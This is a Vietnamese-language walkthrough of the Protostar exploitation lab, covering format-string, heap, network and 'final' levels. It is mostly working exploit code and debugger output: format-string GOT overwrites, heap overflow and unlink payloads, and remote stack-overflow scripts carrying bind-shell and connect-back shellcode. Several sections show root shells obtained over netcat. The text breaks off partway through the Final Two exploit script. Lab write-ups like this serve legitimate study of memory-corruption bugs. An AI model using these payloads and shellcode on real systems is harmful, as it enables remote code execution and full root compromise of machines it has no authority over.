user@protostar:/opt/protostar/bin$ python -c "print '\x01\x01\x01\x01\x24\x97\x04\x08\x01\x01\x01\x01\x25\x97\x04\x08\x01\x01\x01\x01\x26\x97\x04\x08\x01\x01\x01\x01\x27\x97\x04\x08' + '%x.'*3 + '%126u%n%208u%n%128u%n%260u%n'" | ./format4
$�%�&�'�200.b7fd8420.bffff5e4.
16843009
16843009
16843009
16843009
code execution redirected! you win
```
(giải thích chi tiết payload: )
## Heap Zero
```
struct data {
char name[64];
};
struct fp {
int (*fp)();
};
void winner()
{
printf("level passed\n");
}
void nowinner()
{
printf("level has not been passed\n");
}
int main(int argc, char **argv)
{
struct data *d;
struct fp *f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
printf("data is at %p, fp is at %p\n", d, f);
strcpy(d->name, argv[1]);
f->fp();
}
```
- Đưa vào gdb và đặt break point tại return của _main()_ sau đó chạy với 1 input random:
```
(gdb) b *0x08048500
Breakpoint 1 at 0x8048500: file heap0/heap0.c, line 40.
(gdb) run AAAA
Starting program: /opt/protostar/bin/heap0 AAAA
data is at 0x804a008, fp is at 0x804a050
level has not been passed
Breakpoint 1, 0x08048500 in main (argc=134513804, argv=0x2) at heap0/heap0.c:40
40 heap0/heap0.c: No such file or directory.
in heap0/heap0.c
```
- Trong info proc map có thể thấy _heap_ có start addr tại "0x804a000"
```
(gdb) info proc map
process 6089
cmdline = '/opt/protostar/bin/heap0'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap0'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/heap0
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/heap0
0x804a000 0x806b000 0x21000 0 [heap]
...
```
- Mở memory của _heap_ để xem input vừa nhập được lưu trữ như nào ```x/50x 0x804a000``` thu được:
```
(gdb) x/50x 0x804a000
0x804a000: 0x00000000 0x00000049 0x41414141 0x00000000
0x804a010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a040: 0x00000000 0x00000000 0x00000000 0x00000011
0x804a050: 0x08048478 0x00000000 0x00000000 0x00020fa9
0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0c0: 0x00000000 0x00000000
```
- Dựa vào source code có thể thấy địa chỉ của _nowinner()_ cũng được đẩy vào _heap_ qua ```f->fp = nowinner``` -> Có thể thay địa chỉ đó bằng địa chỉ của _winner()_ -> Tìm địa chỉ của _nowinner()_ bằng ```print &nowinner``` thu được:
```
(gdb) print &nowinner
$1 = (void (*)(void)) 0x8048478 <nowinner>
```
- Tìm địa chỉ của _winner()_ tương tự thu được:
```
(gdb) print &winner
$2 = (void (*)(void)) 0x8048464 <winner>
```
- Dựa vào _heap_ layout có thể thấy fill 72 bytes (bất kỳ, ở bài này dùng 'a'*72) và sau đó thay bằng địa chỉ của _winner()_ là được -> payload:
```
./heap0 $(python -c "print 'a'*72 + '\x64\x84\x04\x08'")
```
Thu được:
```
user@protostar:/opt/protostar/bin$ ./heap0 $(python -c "print 'A'*72 + '\x64\x84\x04\x08'")
data is at 0x804a008, fp is at 0x804a050
level passed
```
## Heap One
```
struct internet {
int priority;
char *name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
struct internet *i1, *i2, *i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
```
- Chạy thử trong gdb để xem _heap_ layout (tương tự bài trên) -> Thu được:
```
(gdb) x/50x 0x804a000
0x804a000: 0x00000000 0x00000011 0x00000001 0x0804a018
0x804a010: 0x00000000 0x00000011 0x41414141 0x00000000
0x804a020: 0x00000000 0x00000011 0x00000002 0x0804a038
0x804a030: 0x00000000 0x00000011 0x00000000 0x00000000
0x804a040: 0x00000000 0x00020fc1 0x00000000 0x00000000
0x804a050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0c0: 0x00000000 0x00000000
```
- Dựa vào source code có thể thấy 2 cái _malloc_ chiếm 8 byte và cái int _priority_ chiếm 4 -> Để overwrite cái pointer (0x0804a038) cần phải viết 20 ký tự (byte) theo địa chỉ _strcpy i2_ gọi đến.
- Tìm địa chỉ của _winner()_ như bài trước ```print &winner``` -> Thu được:
```
(gdb) print &winner
$1 = (void (*)(void)) 0x8048494 <winner>
```
- Disassembly trong gdb để tìm địa chỉ _strcpy i2_ gọi đến -> Thu được:
```
0x08048561 <main+168>: call 0x80483cc <puts@plt>
```
- Trong _0x80483cc_ có _jmp_ đến địa chỉ _*0x8049770_
- Thay vào payload:
```
user@protostar:/opt/protostar/bin$ ./heap1 $(python -c "print 'A'*20+'\x74\x97\x04\x08'+' '+'\x94\x84\x04\x08'")
and we have a winner @ 1695487577
```
## Heap Two
```
struct auth {
char name[32];
int auth;
};
struct auth *auth;
char *service;
int main(int argc, char **argv)
{
char line[128];
while(1) {
printf("[ auth = %p, service = %p ]\n", auth, service);
if(fgets(line, sizeof(line), stdin) == NULL) break;
if(strncmp(line, "auth ", 5) == 0) {
auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
}
if(strncmp(line, "reset", 5) == 0) {
free(auth);
}
if(strncmp(line, "service", 6) == 0) {
service = strdup(line + 7);
}
if(strncmp(line, "login", 5) == 0) {
if(auth->auth) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
```
- Chạy thử code:

- Có thể thấy sau khi _reset_ cái _auth_ pointer vẫn chỉ đến địa chỉ bộ nhớ ban đầu (allocated memory của _free()_). Sau đó các lệnh _login_ sau sẽ truy cập vào bộ nhớ đã được giải phóng bằng _auth->auth_ (https://encyclopedia.kaspersky.com/glossary/use-after-free/#:~:text=Use%2DAfter%2DFree%20(UAF,error%20to%20hack%20the%20program)
- Dựa vào link trên (Use-After-Free vuln) -> Thực hiện exploit như sau:

## Heap Three
_free() consolidate unlink_ (http://phrack.org/issues/57/9.html#article ; https://ir0nstone.gitbook.io/notes/types/heap/chunks)
```
void winner()
{
printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}
int main(int argc, char **argv)
{
char *a, *b, *c;
a = malloc(32);
b = malloc(32);
c = malloc(32);
strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);
free(c);
free(b);
free(a);
printf("dynamite failed?\n");
}
```
- ```(gdb) p winner``` thu được địa chỉ của _winner()_:
```
$1 = {void (void)} 0x8048864 <winner>
```
- Sử dụng ```rasm2 "push 0x8048864; ret"``` để tạo shellcode -> Thu được ```6864880408c3```
- Chạy chương trình trong gdb với input bất kỳ sau đó mở ```info proc map``` để tìm địa chỉ bắt đầu của _heap_ :
```
(gdb) info proc map
process 8034
cmdline = '/opt/protostar/bin/heap3'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap3'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x804b000 0x3000 0 /opt/protostar/bin/heap3
0x804b000 0x804c000 0x1000 0x3000 /opt/protostar/bin/heap3
0x804c000 0x804d000 0x1000 0 [heap]
...
```
- Dùng ```x/60wx 0x804c000``` sẽ thấy sự xuất hiện của cả 3 _chunk_ trong _heap_ và cái đầu tiên sẽ +8 byte ```*(next->bk + 8) = next->fd```:
```
(gdb) x/64wx 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x00004242
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x43434343 0x43434343
0x804c060: 0x43434343 0x00000043 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000
```
- Sau đó chạy thêm cho đến khi nó được _free()_ rồi mở lại _heap_ sẽ thấy địa chỉ chỉ đến _chunk_ tiếp theo ở 12 byte -> Địa chỉ bắt đầu shellcode = 0x804c000 + 12 = 0x804c00c
-> Có payload đưa shellcode vào trong _heap_ (input 1) : ```$(python -c "print 'a'*4 + '\x68\x64\x88\x04\x08\xc3'")```
- Dựa vào _heap_ layout -> (input 2) ```$(python -c "print 'a'*32 + '\xf0\xff\xff\xff' + '\xfc\xff\xff\xff'")```
- ```disass main``` sau đó xem hàm call cuối cùng ```disass 0x8048790``` -> Có địa chỉ ```0x08048790 <puts@plt+0>: jmp *0x804b128``` -> Forward pointer = 0x804b128 - 12 = 0x804b11c
- Tạo _fake chunk_: (input 3) ```$(python -c "print 'a'*8 + '\xf0\xff\xff\xff' + '\xfc\xff\xff\xff' + '\x1c\xb1\x04\x08' + '\x0c\xc0\x04\x08'")```
- Gộp 3 input vào payload:
```
./heap3 $(python -c "print 'a'*4 + '\x68\x64\x88\x04\x08\xc3'") $(python -c "print 'a'*32 + '\xf0\xff\xff\xff' + '\xfc\xff\xff\xff'") $(python -c "print 'a'*8 + '\xf0\xff\xff\xff' + '\xfc\xff\xff\xff' + '\x1c\xb1\x04\x08' + '\x0c\xc0\x04\x08'")
```
Thu được :
```
user@protostar:/opt/protostar/bin$ ./heap3 $(python -c "print 'a'*4 + '\x68\x64\x88\x04\x08\xc3'") $(python -c "print 'a'*32 + '\xf0\xff\xff\xff' + '\xfc\xff\xff\xff'") $(python -c "print 'a'*8 + '\xf0\xff\xff\xff' + '\xfc\xff\xff\xff' + '\x1c\xb1\x04\x08' + '\x0c\xc0\x04\x08'")
that wasn't too bad now, was it? @ 1695529531
```
## Net Zero
- Dựa vào source code -> Connect netcat bằng port 2999 ```nc 192.168.50.133 2999``` -> Bài yêu cầu viết số dưới dạng little endian
- Mở vim viết 1 file python:
```
from socket import create_connection as cc
import struct
import sys
import re
try:
con = cc(('localhost', 2999))
except:
print 'Connection Failed'
sys.exit(0)
receive = con.recv(1024)
wanted_num = re.findall(r"'(.*?)'", receive, re.DOTALL)[0]
res = struct.pack("<I", int(wanted_num))
con.send(res)
print con.recv(1024)
```
Giải thích:
- Connect với server bằng local host ở port 2999
- Nhận kết quả từ server rồi lưu vào _receive_
- _re.findall_ để lấy số, _r"'(.*?)'"_ để tìm chuỗi string trong dấu _' '_
(https://www.geeksforgeeks.org/python-regex-re-search-vs-re-findall/ ; https://www.codespeedy.com/re-dotall-in-python/#google_vignette)
- ```res = struct.pack("<I", int(wanted_num))``` để đổi số thành dạng little endian (<I) (https://www.digitalocean.com/community/tutorials/python-struct-pack-unpack)
- Gửi kết quả tìm được về server qua hàm _send()_ sau đó nhận kết quả từ server và in ra qua hàm _recv()_ và print
## Net One
Tương tự bài trên có code python nhưng thay vì dùng _pack_ ở đây dùng _unpack_:
```
from socket import create_connection as cc
import struct
import sys
try:
con = cc(('localhost', 2998))
except:
print 'Connection Failed'
sys.exit(0)
dat = con.recv(1024)
unpacked_dat = struct.unpack("<I", dat)[0]
res = str(unpacked_dat)
con.send(res)
print con.recv(1024)
```
Kết quả:
```
user@protostar:/opt/protostar/bin$ python /home/user/net1.py
you correctly sent the data
```
## Net Two
- Dựa vào source code có thể thấy chương trình gửi 4 số dưới dạng little endian 32 bit và có điều kiện nhận lại tổng của chúng -> code python (tương tự 2 bài trên):
```
from socket import create_connection as cc
import struct
import sys
try:
con = cc(('localhost', 2997))
except:
print 'Connection Failed'
sys.exit(0)
wanted_sum = 0
for i in range (0, 4):
data = con.recv(4)
n = struct.unpack("<I", data)[0]
wanted_sum += n
wanted_sum &= 0xffffffff
res = str(struct.pack("<I", wanted_sum))
con.send(res)
print con.recv(1024)
```
Kết quả:
```
user@protostar:/opt/protostar/bin$ python /home/user/net2.py
you added them correctly
```
## Final Zero
(Tham khảo từ: https://www.mattandreko.com/2012/01/22/exploit-exercises-protostar-final-0/)
```
char *get_username()
{
char buffer[512];
char *q;
int i;
memset(buffer, 0, sizeof(buffer));
gets(buffer);
/* Strip off trailing new line characters */
q = strchr(buffer, '\n');
if(q) *q = 0;
q = strchr(buffer, '\r');
if(q) *q = 0;
/* Convert to lower case */
for(i = 0; i < strlen(buffer); i++) {
buffer[i] = toupper(buffer[i]);
}
/* Duplicate the string and return it */
return strdup(buffer);
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
username = get_username();
printf("No such user %s\n", username);
}
```
- _buffer overflow_
- Dựa theo tham khảo -> Tìm được offset bằng cách tách array thành 2 phần "a" và "b" rồi điều chỉnh kích thước nhiều lần -> offset tại 532 bytes theo code python:
```
from socket import *
from struct import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("localhost", 2995))
s.send("a"*532 + "b"*8)
```
(https://realpython.com/python-sockets/)
- ```(gdb) x/10s $esp-550``` Tìm start address thu được:
```
0xbffffaaa: ""
0xbffffaab: ""
0xbffffaac: "\211\005"
0xbffffaaf: ""
0xbffffab0: "\224\310\351\267\020ii\r", 'A' <repeats 192 times>...
0xbffffb78: 'A' <repeats 200 times>...
0xbffffc40: 'A' <repeats 120 times>
0xbffffcb9: ""
0xbffffcba: ""
0xbffffcbb: ""
```
-> Vị trí bắt đầu (_'A' <repeats 192 times>_) có thể thấy ở địa chỉ _0xbffffab0 + 8_ = _0xbffffab8_ -> Có thể thấy buffer cuối sau hàm _toupper()_ và _strdup()_ được thực hiện được đặt ở _0xbffffab8_ -> Viết shellcode trước _return address_
- Code python + shellcode (https://www.exploit-db.com/exploits/13427 (xóa comment)):
```
from socket import *
from struct import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("localhost", 2995))
offset = 532
ret = "\xEF\xBE\xAD\xDE"
nop = "\x90"*16
shellcode = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff" \
"\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47" \
"\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xed" \
"DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB" \
"AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA" \
"JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO" \
"BLAALMNIA"
junk = "a"*(offset-len(nop)-len(shellcode))
s.send(nop + shellcode + junk + ret)
```
Giải thích:
- Thực hiện 16 byte _nop sled_ (no-operation) để chắc chắn payload sẽ bắt đầu từ đầu shellcode (\xeb...)
- Chèn shellcode (tham khảo từ web khác)
- Tạo độ dài cố định cho shellcode bằng _junk_ (kí tự bất kỳ, trong bài này dùng 'a') để chắc chắn địa chỉ return address đúng
- Toàn bộ payload sẽ được gửi tới server qua ```s.connect(("localhost", 2995))``` -> server chạy shellcode -> Trở về địa chỉ được tạo (ở đây là _0xdeadbeef_) -> Chiếm root
- Làm tương tự theo bước trên ```(gdb) x/10s $esp-550``` -> Tìm được địa chỉ để return về (gồm có _nop sled_ và _shellcode_):
```
root@protostar:/home/user# gdb --quiet --core=/tmp/core.11.final0.2133
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0 0xdeadbeef in ?? ()
(gdb) x/10x 0xbffffabf
0xbffffabf: 0x90909090 0x90909090 0xeb02eb90 0xfff9e805
0xbffffacf: 0x815fffff 0xffffdfef 0x295e57ff 0xb8c180c9
0xbffffadf: 0x412c078a 0x4704e0c0
```
-> Có thể sử dụng _0xbffffabf_ làm return address để thay vào shellcode (thay vào ```ret = "\xEF\xBE\xAD\xDE"```):
```
from socket import *
from struct import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("localhost", 2995))
offset = 532
ret = "\xbf\xfa\xff\xbf"
nop = "\x90"*16
shellcode = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff" \
"\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47" \
"\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xed" \
"DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB" \
"AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA" \
"JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO" \
"BLAALMNIA"
junk = "a"*(offset-len(nop)-len(shellcode))
s.send(nop + shellcode + junk + ret)
```
- Theo doc của shellcode, nó bind 1 cái shell vào port 5074 -> dùng ```nc 192.168.40.133 5074``` để connect

-> Thu được:
```
root@protostar:/home/user# nc 192.168.40.133 5074
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
```
## Final One
```
char username[128];
char hostname[64];
void logit(char *pw)
{
char buf[512];
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);
syslog(LOG_USER|LOG_DEBUG, buf);
}
void trim(char *str)
{
char *q;
q = strchr(str, '\r');
if(q) *q = 0;
q = strchr(str, '\n');
if(q) *q = 0;
}
void parser()
{
char line[128];
printf("[final1] $ ");
while(fgets(line, sizeof(line)-1, stdin)) {
trim(line);
if(strncmp(line, "username ", 9) == 0) {
strcpy(username, line+9);
} else if(strncmp(line, "login ", 6) == 0) {
if(username[0] == 0) {
printf("invalid protocol\n");
} else {
logit(line + 6);
printf("login failed\n");
}
}
printf("[final1] $ ");
}
}
void getipport()
{
int l;
struct sockaddr_in sin;
l = sizeof(struct sockaddr_in);
if(getpeername(0, &sin, &l) == -1) {
err(1, "you don't exist");
}
sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
getipport();
parser();
}
```
- Để ý hàm _logit()_: Nếu đăng nhập vào bình thường thì _login_ sẽ được đẩy thẳng vào hàm _snprintf()_
(Tham khảo qua log files: https://bizflycloud.vn/tin-tuc/syslog-la-gi-kien-thuc-co-ban-ve-nhat-ky-he-thong-20220811095754902.htm; https://www.linuxfoundation.org/blog/blog/classic-sysadmin-viewing-linux-logs-from-the-command-line#:~:text=To%20do%20that%2C%20you%20could,easily%20scroll%20through%20the%20file)
- Chạy thử chương trình rồi quan sát trong log -> Sau khi chèn dần vào _username_ (bruteforce) thấy được _format string_ bắt đầu ở 15 từ trong _stack_ (nếu thêm 1 ký tự nữa):
```
user@protostar:/opt/protostar/bin$ nc localhost 2994
[final1] $ username huytran
[final1] $ login B
invalid protocol
[final1] $ username huytran
[final1] $ login B
login failed
[final1] $ username aaaaaaaaaaaaaaaa
[final1] $ login B
login failed
[final1] $ username %x
[final1] $ login B
login failed
[final1] $ username %x.%x
[final1] $ login B
login failed
[final1] $ username %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
[final1] $ login B
login failed
[final1] $ username %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
[final1] $ login B
login failed
[final1] $ username huytran%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
[final1] $ login B
login failed
[final1] $ username aaaa%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
[final1] $ loginB
[final1] $ login B
login failed
[final1] $ username Aaaaa%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
[final1] $ login B
login failed
```
- Kết quả thu được có dạng như sau:
```
Oct 2 07:28:17 (none) final1: Login from 127.0.0.1:59687 as [Aaaaa8049ee4.804a2a0.804a220.bffffbd6.b7fd7ff4.bffffa28.69676f4c.7266206e.31206d6f.302e3732.312e302e.3639353a.61203738.415b2073.61616161] with password [B]
```
- Với mục đích ghi đè hàm _syslog()_ với một địa chỉ trỏ tới shellcode -> Tìm địa chỉ của _syslog()_ trong GOT bằng _objdump_:
```
user@protostar:/opt/protostar/bin$ objdump -R final1 | grep syslog
0804a11c R_386_JUMP_SLOT syslog
```
(Từ bài trước và tham khảo trên: https://www.mattandreko.com/2012/02/05/exploit-exercises-protostar-final-1/ sử dụng _direct parameter access_: https://kevinalmansa.github.io/application%20security/Format-Strings/)
- Có code python:
```
python -c 'print("username XAAAABBBBCCCCDDDD%15$x%16$x%17$x%18$x\nlogin B")' | nc localhost 2994
```
thu được 4 từ cần được overwrite như sau trong log (4141...4444):
```
Oct 2 08:39:11 (none) final1: Login from 127.0.0.1:59694 as [XAAAABBBBCCCCDDDD41414141424242424343434344444444] with password [B]
```
- Sau đó thay các địa chỉ mới vào để kiểm tra xem code có hoạt động không:
```
user@protostar:/opt/protostar/bin$ python -c 'print("username X\x1c\xa1\x04\x08\x1d\xa1\x04\x08\x1e\xa1\x04\x08\x1f\xa1\x04\x08%15$x%16$x%17$x%18$x\nlogin B")' | nc localhost 2994
```
thu được:
```
Oct 2 08:53:17 (none) final1: Login from 127.0.0.1:59699 as [X#034�#004#010#035�#004#010#036�#004#010#037�#004#010804a11c804a11d804a11e804a11f] with password [B]
```
- Tuy nhiên nếu thay "%x" bằng "%n" để overwrite thì chương trình sẽ bị crash (ở đây có lặp lại 1 lần login để chứng minh chương trình không hoạt động bình thường (TEST2)):
```
python -c 'print("username X\x1c\xa1\x04\x08\x1d\xa1\x04\x08\x1e\xa1\x04\x08\x1f\xa1\x04\x08%15$n%16$n%17$n%18$n\nlogin B\nlogin TEST2\n")' | nc localhost 2994
```
thu được:
```
Oct 2 08:59:03 (none) final1: Login from 127.0.0.1:59702 as [X#034�#004#010#035�#004#010#036�#004#010#037�#004#010] with password [B]
Oct 2 08:59:03 (none) kernel: [17882.414732] final1[2981]: segfault at 30303030 ip 30303030 sp bffff98c error 4 <-- Không login được nữa
```
-> Có segfault -> có dump core trong tmp để debug -> overwrite hàm _syslog()_ xảy ra khi login lần 2 -> Tìm địa chỉ đoạn _TEST2_ rồi chèn shellcode vào
- shellcode (http://www.shell-storm.org/shellcode/files/shellcode-883.php) :
```
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89" \
"\xe1\xcd\x80\x92\xb0\x66\x68\xc0\xa8\x38\x66\x66\x68\x05\x39\x43" \
"\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59" \
"\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68" \
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
```
- Tìm start address cho shellcode -> gdb root -> tìm offset của buffer:
```
root@protostar:/opt/protostar/bin# ls /tmp
core.11.final0.2133 core.11.final1.2957 core.11.final1.2981 core.11.final1.3024
core.11.final1.2939 core.11.final1.2960 core.11.final1.3020 core.11.final1.3037
root@protostar:/opt/protostar/bin# gdb --quiet --core=/tmp/core.11.final1.3037
Core was generated by `/opt/protostar/bin/final1'.
Program terminated with signal 11, Segmentation fault.
#0 0x30303030 in ?? ()
(gdb) x/10s $esp
0xbffff98c: "\357\230\004\b\017"
0xbffff992: ""
0xbffff993: ""
0xbffff994: "\260\371\377\277\344\236\004\b\240\242\004\b \242\004\b\326\373\377\277\364\177\375\267(\372\377\277Login from 127.0.0.1:59705 as [X\034\241\004\b\035\241\004\b\036\241\004\b\037\241\004\b%15$n%16$n%17$n%18$n] with password [", 'A' <repeats 78 times>, "]\n"
0xbffffa56: "\377\277BBBB\021"
0xbffffa5e: ""
0xbffffa5f: ""
0xbffffa60: "\024\310\351\267\374\032\376\267\021{\234|rnam\003"
0xbffffa72: ""
0xbffffa73: ""
(gdb) x/1s 0xbffffa56-81
0xbffffa05: 'A' <repeats 78 times>, "]\n"
```
-> Để _syslog()_ gọi shellcode cần ghi đè 0x0804a11c (địa chỉ của _syslog()_ trong GOT) với 0xbffffa05 -> Tìm offset của buffer (88, 114, 261, 192) rồi viết payload:
```
python -c 'print("username X\x1c\xa1\x04\x08\x1d\xa1\x04\x08\x1e\xa1\x04\x08\x1f\xa1\x04\x08%88x%15$n%114x%16$n%261x%17$n%192x%18$n\nlogin Busername X\nlogin \x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\n")' | nc localhost 2994
```
- Kiểm tra trong _syslog()_:
```
Oct 2 09:27:15 (none) final1: Login from 127.0.0.1:59709 as [X#034�#004#010#035�#004#010#036�#004#010#037�#004#010 8049ee4 804a2a0 804a220 bffffc46] with password [Busername X]
```
- Không có lỗi _segfault_ -> Kết nối với port 4444 (theo doc trong shellcode) và thử whoami:
```
user@protostar:/opt/protostar/bin$ nc localhost 4444
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
```
## Final Two
heap nhưng remote (https://github.com/z3tta/Exploit-Exercises-Protostar/blob/master/23-Final2.md)
```
void check_path(char *buf)
{
char *start;
char *p;
int l;
/*
* Work out old software bug
*/
p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}
int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;
dll = 0;
while(1) {
if(dll >= 255) break;
buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;
if(strncmp(buf, "FSRD", 4) != 0) break;
check_path(buf + 4);
dll++;
}
for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
get_requests(fd);
}
```
- Mở gdb để kiểm tra hàm _get requests()_ có gì
```
root@protostar:/opt/protostar/bin# gdb final2
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/final2...done.
(gdb) set disassembly-flavor intel
(gdb) disass get_requests
...
0x0804bd6f <get_requests+40>: call 0x804b4ee <calloc>
0x0804bd74 <get_requests+45>: mov DWORD PTR [ebp-0x14],eax
0x0804bd77 <get_requests+48>: mov eax,DWORD PTR [ebp-0x10]
0x0804bd7a <get_requests+51>: mov edx,DWORD PTR [ebp-0x14]
0x0804bd7d <get_requests+54>: mov DWORD PTR [ebp+eax*4-0x414],edx
...
```
- Để ý mỗi lần request chương trình sẽ đọc 128 byte và 1 chunk sẽ được tạo để đọc 128 byte đó.
- Hàm _check path(char *buf)_ tự cho rằng request luôn có '/' trước "ROOT" rồi chạy hàm _memmove()_ (```while(*start != '/') start--;```) Nếu không có '/' thì _start_ sẽ trỏ về chunk phía trước -> Tạo 1 chunk fake rồi _free()_ như bài heap3
```
import socket
s = socket.socket()
s.connect(("192.168.56.101",2993))
chunk_A = "FSRD" + "A"*123 + "/"
s.sendall(chunk_A)
